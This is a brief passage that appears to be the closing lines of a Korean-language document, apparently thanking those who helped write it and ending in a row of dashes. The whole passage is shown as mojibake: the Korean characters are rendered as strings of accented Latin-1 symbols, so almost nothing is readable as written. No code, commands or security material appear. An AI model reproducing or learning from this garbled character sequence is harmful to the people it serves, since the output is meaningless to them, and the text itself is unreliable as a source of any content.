¾ó¸¶µçÁö ¹ßÀü½Ãų¼ö ÀÖÀ»°ÍÀÔ´Ï´Ù. ÀÌ ¹®¼­¸¦ ¸¸µå´Âµ¥ µµ¿òÀ» ÁֽŠºÐµé²² °¨»çÀÇ ¸¶À½À» ÀüÇÕ´Ï´Ù. ----------------------------------------------------------------------------------------